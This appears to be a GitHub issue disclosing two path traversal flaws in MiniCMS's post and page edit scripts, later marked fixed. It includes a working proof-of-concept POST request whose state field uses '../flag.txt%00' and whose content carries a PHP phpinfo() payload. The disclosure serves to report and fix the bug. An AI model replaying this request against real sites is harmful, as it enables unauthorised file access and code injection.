

New issue

[Jump to bottom](#)

There is two path traversal vulnerability #39

🔒 Closed jayus0821 opened this issue on Dec 23, 2020 · 0 comments

jayus0821 commented on Dec 23, 2020 • edited

post_edit and page_edit.php

line99

`$index_file = './mc-files/posts/index/'.$post_state.'.php';`

line102

`$index_file = './mc-files/pages/index/'.$post_state.'.php';`

post_state is controllable and there is no filtering limit

We can use ../ to loop through all files

127.0.0.1/minicms/mc-admin/page-edit.php?file=pz3zhf

我的网站

文章 页面

Notice: Undefined index: file in A:\phpstudy_pro\WWW\minicms\mc-admin\page-edit.php on line 16
here is a secret

页面已保存到“草稿箱”，打开草稿箱

编辑页面

123213

<?php phpinfo();?>

123213

时间: 2020 - 12 - 23 11

感谢使用 MiniCMS 进行创作

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSTI ENCODING

URL
http://127.0.0.1/minicms/mc-admin/page-edit.php?file=pz3zhf

Enable POST
enctype
application/x-www-form-urlencoded

Body
_IS_POST_BAK=&title=123213&content=<%3fphp+phpinfo()%3b%3f>&path=123213&year=2020&month=12&day=23&hour=11&minute=56&second=00&&state=../flag.txt%00&save=%E4%BF%9D%E5%AD%98

bg5sbk closed this as completed in #8fc729 on Jul 19, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

